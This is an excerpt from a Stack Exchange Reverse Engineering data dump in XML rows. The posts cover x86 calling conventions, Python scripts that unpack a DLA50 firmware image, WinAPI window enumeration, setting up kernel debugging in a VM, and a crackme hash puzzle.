  <row Id="11916" PostTypeId="1" CreationDate="2016-02-02T00:44:44.287" Score="0" ViewCount="324" Body="&lt;p&gt;Hi everyone and sorry for the silly question.&#xA;Let's say that &quot;main&quot; calls an &quot;add&quot; function (pseudocode):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;main {&#xA; add(5,10)&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The stack would be something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...main...&#xA;|  10   |&#xA;|  05   |&#xA;|  RET  |&#xA;|  EBP  |&#xA;...add...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The stack frame of &quot;add&quot; starts from EBP or include also 10, 5 (args) and RET?&#xA;In a CDECL calling convention the caller (main) is in charge of cleaning the stack after the &quot;add&quot; function returns. I suppose clean means &quot;remove&quot; (by increasing esp) the arguments from the stack, not the local vars of the &quot;add&quot; function, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="14917" LastActivityDate="2016-02-04T18:50:09.683" Title="Are arguments of the called function part of its stack frame in Intel x86?" Tags="|x86|stack|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11918" PostTypeId="1" CreationDate="2016-02-02T08:35:37.717" Score="0" ViewCount="10970" Body="&lt;p&gt;I'm reversing  firmware and I get some problem with it.&#xA;I used binwalk to reversing the firmware, but binwalk produced different result than to my friend. My friend found some zlib data (see &lt;a href=&quot;https://i.stack.imgur.com/txzJ8.jpg&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;my friend&amp;#39;s reversing picture&quot;&gt;1&lt;/a&gt;), but I could not find these zlib data items (see &lt;a href=&quot;https://i.stack.imgur.com/bvKmM.jpg&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;this is my reversing picture&quot;&gt;2&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand what is wrong, however I use &lt;code&gt;binwak -e&lt;/code&gt; in the same way. I'm so confuse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how can I find the zlib data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14921" LastEditorUserId="14921" LastEditDate="2016-03-01T06:18:10.823" LastActivityDate="2021-06-20T20:19:15.647" Title="binwalk zlib data" Tags="|binary-analysis|tools|firmware|" AnswerCount="1" CommentCount="2" ClosedDate="2016-02-02T18:22:40.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="11919" PostTypeId="2" ParentId="11918" CreationDate="2016-02-02T09:41:39.373" Score="5" Body="&lt;p&gt;The differences between the binwalk results may be caused by the different version of the binwalk you use. So, check the version of your binwalk by simply running binwalk without any parameter.&#xA;Regarding to the firmware, you cannot unpack the content using binwalk. To see why, check the start of the firmware. You will find a &lt;code&gt;0x20&lt;/code&gt; bytes header starting with the &lt;code&gt;DLA50&lt;/code&gt; string. This magic string and the header is repeated at offset &lt;code&gt;0x4020&lt;/code&gt;, &lt;code&gt;0x8040&lt;/code&gt; and so on. To see the structure of the header, check the following one from the middle of the firmware file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QPcNF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QPcNF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I marked the magic string (DLA50) with yellow, the position of the fragment with green and the size of the fragment with blue.&lt;/p&gt;&#xA;&lt;p&gt;The following script can follow the headers and extract the parts from the image:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;import binascii&#xA;import sys&#xA;&#xA;if (len(sys.argv) &amp;lt; 2):&#xA;    print 'firm.py filename'&#xA;    sys.exit(0)&#xA;&#xA;id = 0&#xA;last = 0&#xA;idh = None&#xA;&#xA;bf = open(sys.argv[1], 'rb')&#xA;while(True):&#xA;    h = bf.read(0x20)&#xA;    if (len(h) &amp;lt; 0x20 or h[0:5] != 'DLA50'):&#xA;        break&#xA;    dpos = struct.unpack('L', h[0x14:0x18])[0]&#xA;    dsize = struct.unpack('L', h[0x18:0x1c])[0]&#xA;    print '%s, pos: %x, size: %x'%(binascii.hexlify(h), dpos, dsize)&#xA;    d = bf.read(dsize)&#xA;&#xA;    if (last != 0x4000):&#xA;        if (idh != None):&#xA;            idh.close()&#xA;        idh = open('%d.bin'%(id), 'wb')&#xA;        id += 1&#xA;&#xA;    idh.write(d)&#xA;    last = dsize&#xA;&#xA;idh.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above script will extract the following parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0-0x2865b&lt;/code&gt;: Executable code, may be compressed with LZMA, LZO or something similar&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x286d7-0x56f60&lt;/code&gt;: File system, the individual files are also compressed&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x56f60-0x5bdc0&lt;/code&gt;: Possibly a configuration area&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The first part is starting with a &lt;code&gt;0x10&lt;/code&gt; bytes header followed by a high entropy data. The header contains some flags or magic bytes and a data size, which I marked with blue in the next image. I can identify the size data item based on the size of the first part, which is &lt;code&gt;0x28555 = header size + 0x28545&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TlnWz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TlnWz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The next part starts with the following bytes:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iGuI4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGuI4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The area started at &lt;code&gt;0x60&lt;/code&gt; seems to contain file names, such as &lt;code&gt;501h1_uk.js&lt;/code&gt; and so on, along with other binary data. So, this area may contain file entries. If it is true, the previous data (&lt;code&gt;0x00&lt;/code&gt;-&lt;code&gt;0x60&lt;/code&gt;) is a directory entry or a header. In this header area, you can found some interesting value in little-endian byte order. The &lt;code&gt;0x0002e709&lt;/code&gt; (marked with blue) is equal with the file size. The &lt;code&gt;0x00000060&lt;/code&gt; (marked with yellow) may point to the start of the file entries. The &lt;code&gt;0x00000d48&lt;/code&gt; (marked with red) after the file entry offset may be another offset inside the file. So, after checking that offset in the file, it see that it points right after the directory entries, so it may by the starting offset of the data area.&lt;/p&gt;&#xA;&lt;p&gt;We have some guesses about the structure of the header, so let's check the file entries. If we suppose, that file names are started at the same position always inside a file entry, then we can calculate the size of one entry by subtracting the offset of two consecutive file names. Based on this calculation the file entry size will be &lt;code&gt;0x16&lt;/code&gt; bytes.&lt;/p&gt;&#xA;&lt;p&gt;Similarly to the previous steps, after a little more research, we can conclude that the file entry area starts with the count of the files and every file entry contains the file name, file flags, relative position of the file data and the file size.&lt;/p&gt;&#xA;&lt;p&gt;Putting all together, the following script can extract the files from the second part of the firmware file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;import sys&#xA;&#xA;if (len(sys.argv) &amp;lt; 2):&#xA;    print 'parse_fs.py filename'&#xA;    sys.exit(0)&#xA;&#xA;fh = open(sys.argv[1],'rb')&#xA;h = fh.read(0x60)&#xA;fs_size = struct.unpack('L', h[0x08:0x0c])[0]&#xA;offset = struct.unpack('L', h[0x20:0x24])[0]&#xA;data_start = struct.unpack('L', h[0x24:0x28])[0]&#xA;&#xA;print 'fs size: %x, dir offset: %x, data start: %x'%(fs_size, offset, data_start)&#xA;&#xA;fh.seek(offset)&#xA;ds = data_start-offset&#xA;d = fh.read(ds)&#xA;count = struct.unpack('H', d[0:2])[0]&#xA;for i in xrange(count):&#xA;    o = i*0x16+2&#xA;    unk1 = struct.unpack('H', d[o+0x00:o+0x02])[0]&#xA;    fname = d[o+0x02:o+0x0e]+'\x00'&#xA;    fname = fname[0:fname.find('\x00')]&#xA;    unk2 = struct.unpack('H', d[o+0x0e:o+0x10])[0]&#xA;    pos = struct.unpack('L', d[o+0x10:o+0x14])[0]+data_start&#xA;    size = struct.unpack('H', d[o+0x14:o+0x16])[0]&#xA;    print '  %s, pos: %x, size: %x, unk1: %x, unk2: %x'%(fname, pos, size, unk1, unk2)&#xA;&#xA;    fh.seek(pos)&#xA;    open('fs_%s'%(fname), 'wb').write(fh.read(size))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="28514" LastEditDate="2021-06-20T20:19:15.647" LastActivityDate="2021-06-20T20:19:15.647" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="11920" PostTypeId="2" ParentId="11812" CreationDate="2016-02-02T10:37:32.640" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;First you need to determine if it is windows message box or not.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of message is in the message box (custom/standard &lt;strong&gt;win32&lt;/strong&gt;/compilation of system strings)? Also an screen-shot would be nice if possible (so we can see more...) If you can make it work on some test machine then check also the &lt;strong&gt;CLASS_ID&lt;/strong&gt; of the message box it can reveal if it is windows message box or custom &lt;strong&gt;VCL&lt;/strong&gt; Form that just looks like it... You can obtain the &lt;strong&gt;Class_ID&lt;/strong&gt; with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/21330590/2521214&quot;&gt;How to find the active child form of MDI from runtime from 3th App&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but its deleted and you do not have enough rep on SO to see it so here the copied source (&lt;strong&gt;VCL C++&lt;/strong&gt; so you need just port to &lt;strong&gt;Pascal&lt;/strong&gt; if you do not have &lt;strong&gt;Borland C++&lt;/strong&gt;) from it:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //---------------------------------------------------------------------------&#xA;    //--- Windows ver: 1.1 ------------------------------------------------------&#xA;    //---------------------------------------------------------------------------&#xA;    HWND getwindow(HWND hnd0,AnsiString nam,AnsiString cls=&quot;&quot;)&#xA;        {&#xA;        int i,l,ln=nam.Length(),lc=cls.Length(),e;&#xA;        char txt[256];&#xA;        HWND hnd1;&#xA;        if (hnd0==NULL) hnd1=GetTopWindow(hnd0);&#xA;        else            hnd1=GetWindow(hnd0,GW_HWNDNEXT);&#xA;        for (;;)&#xA;            {&#xA;            e=1;&#xA;            if (hnd1==hnd0) break;&#xA;            if (hnd1==NULL) break;&#xA;            l=GetWindowText(hnd1,txt,256);&#xA;            if (e) { if (l&amp;gt;ln) l=ln; if (l&amp;lt;ln) e=0; else for (i=0;i&amp;lt;l;i++) if (txt[i]!=nam[i+1]) { e=0; break; } }&#xA;            l=RealGetWindowClass(hnd1,txt,256);&#xA;            if (e) { if (l&amp;gt;lc) l=lc; if (l&amp;lt;lc) e=0; else for (i=0;i&amp;lt;l;i++) if (txt[i]!=cls[i+1]) { e=0; break; } }&#xA;            if (e) return hnd1;&#xA;            hnd0=hnd1;&#xA;            hnd1=GetWindow(hnd0,GW_HWNDNEXT);&#xA;            }&#xA;        return NULL;&#xA;        };&#xA;    //---------------------------------------------------------------------------&#xA;    HWND getsubwindow(HWND hndp,HWND hnd0,AnsiString nam,AnsiString cls=&quot;&quot;)&#xA;        {&#xA;        int i,l,ln=nam.Length(),lc=cls.Length(),e;&#xA;        char txt[256];&#xA;        HWND hnd1;&#xA;        if (hnd0==NULL) hnd1=GetTopWindow(hnd0);&#xA;        else            hnd1=GetWindow(hnd0,GW_HWNDNEXT);&#xA;        for (;;)&#xA;            {&#xA;            e=1;&#xA;            if (hnd1==hnd0) break;&#xA;            if (hnd1==NULL) break;&#xA;            if (GetParent(hnd1)!=hndp) e=0;&#xA;            l=GetWindowText(hnd1,txt,256);&#xA;            if (e) { if (l&amp;gt;ln) l=ln; if (l&amp;lt;ln) e=0; else for (i=0;i&amp;lt;l;i++) if (txt[i]!=nam[i+1]) { e=0; break; } }&#xA;            l=RealGetWindowClass(hnd1,txt,256);&#xA;            if (e) { if (l&amp;gt;lc) l=lc; if (l&amp;lt;lc) e=0; else for (i=0;i&amp;lt;l;i++) if (txt[i]!=cls[i+1]) { e=0; break; } }&#xA;            if (e) return hnd1;&#xA;            hnd0=hnd1;&#xA;            hnd1=GetWindow(hnd0,GW_HWNDNEXT);&#xA;            }&#xA;        return NULL;&#xA;        };&#xA;    //---------------------------------------------------------------------------&#xA;    bool getwindows(HWND &amp;amp;hnd,AnsiString &amp;amp;nam,AnsiString &amp;amp;cls)&#xA;        {&#xA;        int i,l;&#xA;        char txt[256];&#xA;        HWND hnd0=hnd;&#xA;        nam=&quot;&quot;; cls=&quot;&quot;;&#xA;        if (hnd0==NULL) hnd=GetTopWindow(hnd0);&#xA;        else            hnd=GetWindow(hnd0,GW_HWNDNEXT);&#xA;        if (hnd==hnd0) { hnd=NULL; return false; }&#xA;        if (hnd==NULL) { hnd=NULL; return false; }&#xA;        l=GetWindowText(hnd,txt,256);       for (i=0;i&amp;lt;l;i++) nam+=txt[i];&#xA;        l=RealGetWindowClass(hnd,txt,256);  for (i=0;i&amp;lt;l;i++) cls+=txt[i];&#xA;        return true;&#xA;        };&#xA;    //---------------------------------------------------------------------------&#xA;    //---------------------------------------------------------------------------&#xA;    //---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is written in &lt;strong&gt;BDS2006 Turbo C++&lt;/strong&gt; and use &lt;strong&gt;VCL&lt;/strong&gt; so you need to convert it to your Language. Actually it uses only &lt;code&gt;AnsiString&lt;/code&gt; from &lt;strong&gt;VCL&lt;/strong&gt; so just change it to any string you have. It is &lt;strong&gt;WinAPI&lt;/strong&gt; based so include &quot;Windows.h&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some example of usage:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    HANDLE hnd,hnd0;&#xA;    AnsiString nam,cls;&#xA;    AnsiString s,t=&quot;&quot;;&#xA;    for (hnd=NULL;;)&#xA;        {&#xA;        if (!getwindows(hnd,nam,cls)) break;    // get hnd,name and class&#xA;        hnd0=GetParent(hnd);            // get parent hnd&#xA;        if (hnd0!=Application-&amp;gt;Handle) continue;// filter out unwanted windows&#xA;        // here process found window or add it to list or what ever&#xA;        // for example add to memo-&amp;gt;Lines-&amp;gt;Add(...) so you obtain a list of all windows ...&#xA;        s=AnsiString().sprintf(&quot;%X&quot;,hnd); while (s.Length()&amp;lt; 8) s=&quot;0&quot;+s; t+=s+&quot;h &quot;;&#xA;        s=cls;                            while (s.Length()&amp;lt;32) s=s+&quot; &quot;; t+=s+&quot; &quot;;&#xA;        s=nam;                            while (s.Length()&amp;lt;32) s=s+&quot; &quot;; t+=s+&quot;\r\n&quot;;&#xA;        }&#xA;    mm_log-&amp;gt;Text=t; // just my memo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here few lines of the &lt;strong&gt;unfiltered&lt;/strong&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Handle:   Class_ID:                        Name&#xA;    0003060Ch TTokenWindow                     CodeParamWindow                 &#xA;    00030374h ComboLBox                                                        &#xA;    000100F8h tooltips_class32                                                 &#xA;    000100FAh TaskListThumbnailWnd                                             &#xA;    000100E6h tooltips_class32                                                 &#xA;    000100E8h tooltips_class32                                                 &#xA;    000100ECh tooltips_class32                                                 &#xA;    000100EEh tooltips_class32                                                 &#xA;    000100D0h tooltips_class32                                                 &#xA;    000100E4h tooltips_class32                                                 &#xA;    000100C8h Button                           Start                           &#xA;    00030118h tooltips_class32                                                 &#xA;    0003013Eh tooltips_class32                                                 &#xA;    00040122h tooltips_class32                                                 &#xA;    00090102h tooltips_class32                                                 &#xA;    000100C2h Shell_TrayWnd                                                    &#xA;    000303ECh TaskSwitcherOverlayWnd                                           &#xA;    00010240h IME                              Default IME                     &#xA;    0001023Eh TaskSwitcherWnd                  Task Switching                  &#xA;    00030376h ComboLBox                                                        &#xA;    000403A0h Auto-Suggest Dropdown                                            &#xA;    00010108h CiceroUIWndFrame                 CiceroUIWndFrame                &#xA;    000100C6h MSCTFIME UI                      MSCTFIME UI                     &#xA;    000100C0h IME                              Default IME                     &#xA;    00010158h tooltips_class32                                                 &#xA;    00010246h ATL:000007FEF0EF52C0             Network Flyout                  &#xA;    00010180h CDA Server Class                 Administrator : CDA Server      &#xA;    00010182h IME                              Default IME                     &#xA;    0001008Ch CiceroUIWndFrame                 CiceroUIWndFrame                &#xA;    0001008Ah CiceroUIWndFrame                 TF_FloatingLangBar_WndTitle     &#xA;    000303CEh tooltips_class32                                                 &#xA;    0003061Eh TForm1                           Project Euler                   &#xA;    00090566h TApplication                     Project1                        &#xA;    0003061Ah TPUtilWindow                                                     &#xA;    00050610h IME                              Default IME                     &#xA;    00090386h MSCTFIME UI                      MSCTFIME UI                     &#xA;    00210408h IME                              Default IME                     &#xA;    000B0416h TEditWindow                      Unit1.cpp                       &#xA;    0007057Ch TWatchWindow                     Watch List                      &#xA;    000105B2h TTabDockHostForm                 Project1.bdsproj - Project Manager&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see there will be many handles (all the visual components are like window so you need to filter out many things ... for example find the &lt;code&gt;hnd&lt;/code&gt; of your Message box App. and then show only handles which have the same parrent &lt;code&gt;hnd0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I just created a message box to get the &lt;strong&gt;Class_ID&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    int ret=MessageDlg(&quot;Test message&quot;,mtCustom,TMsgDlgButtons(mrOk),-1); // cls = &quot;TMessageForm&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the parent handle you need to search the unfiltered list for class &lt;code&gt;TApplication&lt;/code&gt;. I used &lt;code&gt;Application-&amp;gt;Handle&lt;/code&gt; instead as I test this directly in the same App.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;if the message box is native win32&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then that does not necessarily mean the App calls &lt;strong&gt;winapi&lt;/strong&gt; directly. Most likely it uses some &lt;strong&gt;VCL&lt;/strong&gt; encapsulation of it instead. So browns the &lt;strong&gt;Delphi IDE&lt;/strong&gt; help for any message box function names ... test them and look if the &lt;strong&gt;Class_ID&lt;/strong&gt; matches with your app ...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;if the message box is not native win32&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it is most likely normal &lt;strong&gt;VCL&lt;/strong&gt; window. The class name is then the name of the &lt;strong&gt;Delphi&lt;/strong&gt; window class like &lt;code&gt;TForm1&lt;/code&gt;. Name of window is usually its &lt;code&gt;Caption&lt;/code&gt; and for App the exe filename. In this case showing dialog is different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set position &lt;code&gt;Left,Top,Width,Height&lt;/code&gt; or call &lt;code&gt;SetBounds()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;set the message can be a &lt;code&gt;TLabel,TEdit&lt;/code&gt;,... &lt;code&gt;Text&lt;/code&gt; or &lt;code&gt;Caption&lt;/code&gt; property or directly rendered on &lt;code&gt;Canvas&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;set &lt;code&gt;Visible=true&lt;/code&gt; or use &lt;code&gt;ShowWindow,ShowModal&lt;/code&gt; ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you know what to look for ...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Text&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For multilingual App the text is usually in some &lt;code&gt;*.ini&lt;/code&gt; or &lt;code&gt;*.dll&lt;/code&gt; file. In case of &lt;strong&gt;DLL&lt;/strong&gt; the &lt;strong&gt;DLL&lt;/strong&gt; can be compressed or encrypted so it is not easily visible. Try to search for files with Languages in filenames.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it helps a bit if you got more info let me know.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-06-29T09:33:29.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11921" PostTypeId="2" ParentId="11914" CreationDate="2016-02-02T12:09:15.853" Score="3" Body="&lt;p&gt;First and most important advice I can give you is to &lt;strong&gt;not&lt;/strong&gt; debug on your host machine, use a virtual machine such as hyper-v, VMWare and virtualbox instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, your preferred tool is &lt;a href=&quot;https://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx&quot; rel=&quot;nofollow&quot;&gt;WinDbg&lt;/a&gt;. There are many tutorials for setting it up with virtual machines. You can start from &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff538143(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more how &quot;heap management works&quot; fast and in great details, you should consider reading the book &lt;a href=&quot;http://www.opening-windows.com/wmip/overview.htm&quot; rel=&quot;nofollow&quot;&gt;What Makes It Page&lt;/a&gt; by Enrico Martignetti. &lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2016-02-02T12:09:15.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11922" PostTypeId="2" ParentId="11431" CreationDate="2016-02-02T14:03:55.943" Score="2" Body="&lt;p&gt;iSEC Partner's &lt;a href=&quot;https://github.com/iSECPartners/Android-SSL-TrustKiller&quot; rel=&quot;nofollow&quot;&gt;Android SSL TrustKiller&lt;/a&gt; utilizes hooks that Cydia substrate can provide in order to defeat certificate pinning. &lt;/p&gt;&#xA;" OwnerUserId="14925" LastActivityDate="2016-02-02T14:03:55.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11923" PostTypeId="2" ParentId="11916" CreationDate="2016-02-02T15:40:05.623" Score="1" Body="&lt;p&gt;The short answer is sometimes.  Depending on the calling convention and the compiler, some arguments may be stored in registers rather than on the stack.  See this wikipedia article: &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be a little more clear, if the caller pushes an argument on the stack, the caller is typically responsible for cleaning it up.  According to the C specification, a function does not know how many arguments are being passed in to the function (consider functions like printf() and friends)  The code that knows how many arguments are actually on the stack and how to deal with them is the calling function.  All this is convention, however. C makes very few requirements for how this all actually ties together on any given physical machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practical code, you will usually see sub ESP, in the calling function.&lt;/p&gt;&#xA;" OwnerUserId="8449" LastEditorUserId="8449" LastEditDate="2016-02-04T18:50:09.683" LastActivityDate="2016-02-04T18:50:09.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11924" PostTypeId="2" ParentId="11914" CreationDate="2016-02-02T23:16:35.920" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Set up a VM using virtual box or vmware.&lt;/li&gt;&#xA;&lt;li&gt;Configure the VM to boot with debugging enabled. &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff542279(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;Instructions here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set up a serial connection from the guest to the host machine.&lt;/li&gt;&#xA;&lt;li&gt;Run WinDBG on the host machine and connect over that serial interface.&lt;/li&gt;&#xA;&lt;li&gt;Debug.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This whole process is illustrated very well in &lt;a href=&quot;https://www.nostarch.com/malware&quot; rel=&quot;nofollow&quot;&gt;Practical Malware Analysis&lt;/a&gt; a book I recommend to everyone looking to get into RE on windows.&lt;/p&gt;&#xA;" OwnerUserId="14098" LastActivityDate="2016-02-02T23:16:35.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11925" PostTypeId="1" CreationDate="2016-02-03T00:32:27.310" Score="1" ViewCount="474" Body="&lt;p&gt;In IDA, is it possible to convert placeholder data into a code segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end of the library I am working with, there is an uninitialized segment starting at 016AAB31.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hex and actual data (which is question mark strings), however, does not allow me to put arm asm instructions into it, using the edit feature. It claims that it cannot convert the &quot;????&quot;s to hexadecimal integers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to extend the code segment to let me add more code, or any other way to do this? Thanks&lt;/p&gt;&#xA;" OwnerUserId="14722" LastActivityDate="2017-10-16T20:22:19.430" Title="Putting instructions in placeholder code IDA?" Tags="|ida|assembly|arm|segmentation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11928" PostTypeId="1" AcceptedAnswerId="11948" CreationDate="2016-02-03T07:34:35.640" Score="1" ViewCount="1958" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As some people have pointed out, this exe file classifies as a 'virus' on some analysers. I can assure you this exe is from a &lt;em&gt;very&lt;/em&gt; trusted source, and is actually part of a large puzzle (which contains more questions like this, related to RE, cryptography, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You are more than welcome to check my stack exchange profile and see I don't really have the &quot;this guy sends viruses to people and claims its a puzzle&quot; typecast :-)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've been debugging using OllyDbg this &lt;a href=&quot;https://drive.google.com/open?id=0B12xiY972a29WFJlAQTBTUzV3TEU&quot; rel=&quot;nofollow&quot;&gt;exe&lt;/a&gt; (original version, a simple puzzle) for a while now, yet I still can't find out what input it expects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What it does&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once executed, it asks you to type in the decrypted token.&#xA;The program will then tell you if the token is correct or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I do know:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The exe calculates the target hash and stores it in memory once you run it (&lt;strong&gt;this hash does not change from execution to execution&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;li&gt;It calls IsDebuggerPresent once executed - and alters the above result if so. I patched this on my version of the exe.&lt;/li&gt;&#xA;&lt;li&gt;It waits for user input&lt;/li&gt;&#xA;&lt;li&gt;It calculates the hash of the users input (with a salt I think), and compares it to the hash it calculated on step 1&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The target is to find out which input one should give to the exe on step 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've tried&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, as the hash is a 32 byte string, I thought maybe this is plain MD4/MD5. What I did is to give the program a known plain text - &quot;1111&quot;, and extract the hash it calculates. I then took the hash and tried to run a MD4/MD5 cracker on it, giving it a known candidate - &quot;1111&quot;. I had no luck in doing that, which negated the MD4/MD5 thoery (probably?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Next steps&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As RE is new to me, the next logical step to do is to try and figure out which string the exe uses to calculate the target hash on step 1. I did find something in the memory while I debugged step 1 -&#xA;a string with the value of &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Habh;)86!!'a/$r3})RX;8{&gt;T&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(note the \t and \n), but when giving this input to the exe on step 3, the result is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14932" LastEditorUserId="14932" LastEditDate="2016-02-07T06:44:54.160" LastActivityDate="2016-02-07T06:44:54.160" Title="Extract decrypted token from EXE" Tags="|windows|c++|encryption|crackme|hash-functions|" 